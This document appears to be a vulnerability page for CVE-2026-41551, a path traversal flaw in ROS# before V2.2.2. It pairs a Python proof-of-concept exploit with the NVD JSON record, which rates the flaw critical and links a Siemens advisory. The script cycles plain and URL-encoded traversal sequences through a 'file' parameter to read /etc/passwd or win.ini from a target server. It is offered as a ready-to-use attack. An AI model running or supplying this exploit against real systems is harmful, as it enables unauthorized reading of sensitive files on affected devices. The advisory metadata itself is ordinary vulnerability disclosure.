CVE-2026-41551

import requests # PoC for CVE-2026-41551: Path Traversal in ROS# # Target: ROS# < V2.2.2 # Description: This script attempts to read arbitrary files from the server using path traversal sequences. def exploit(target_url, file_path): # Common path traversal payloads traversal_sequences = [ "../../..", "..\\..\\..", "..%2F..%2F..%2F", "..%5C..%5C..%5C" ] for seq in traversal_sequences: # Construct the full payload. Assuming the vulnerable parameter is 'file'. # Adjust the parameter name based on the actual API endpoint. payload = f"{seq}{file_path}" params = {'file': payload} try: print(f"[*] Trying payload: {payload}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: # Check if the response contains content indicative of a successful file read # e.g., "root:" for /etc/passwd or "[extensions]" for win.ini if "root:" in response.text or "[extensions]" in response.text or "<?xml" in response.text: print(f"[+] Potential success with payload: {payload}") print(f"[+] Response snippet:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": # Example usage target = "http://192.168.1.100:8080/api/files" # Replace with actual target endpoint target_file = "/etc/passwd" # Target file to read print(f"[*] Starting PoC for CVE-2026-41551 against {target}") exploit(target, target_file)

{"cve": {"id": "CVE-2026-41551", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:46.277", "lastModified": "2026-05-12T10:16:46.277", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in ROS# (All versions < V2.2.2). Affected versions contain a path traversal vulnerability because user input is not properly sanitized.\r\nThis could allow a remote attacker to access arbitrary files on the device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-357982.html", "source": "[email protected]"}]}}